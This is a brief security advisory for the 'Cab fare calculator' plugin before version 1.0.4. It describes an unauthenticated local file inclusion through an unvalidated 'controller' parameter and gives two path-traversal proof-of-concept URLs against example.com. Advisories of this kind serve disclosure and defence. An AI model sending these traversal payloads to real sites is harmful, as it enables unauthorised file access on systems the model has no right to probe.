Cab fare calculator < 1.0.4 - Unauthenticated LFI

The plugin does not validate the controller parameter before using it in require statements, which could lead to Local File Inclusion issues. Despite what the original advisory claims, the issue is not exploitable by accessing the file directly as a fatal error is triggered before the vulnerable code is reached, however can be exploited by unauthenticated attackers via other requests

PoC

https://example.com/?controller=../../../index&amp;action;=1&amp;ajax;=1 https://example.com/?controller=../../../index&amp;action;=1&amp;pg;=tblight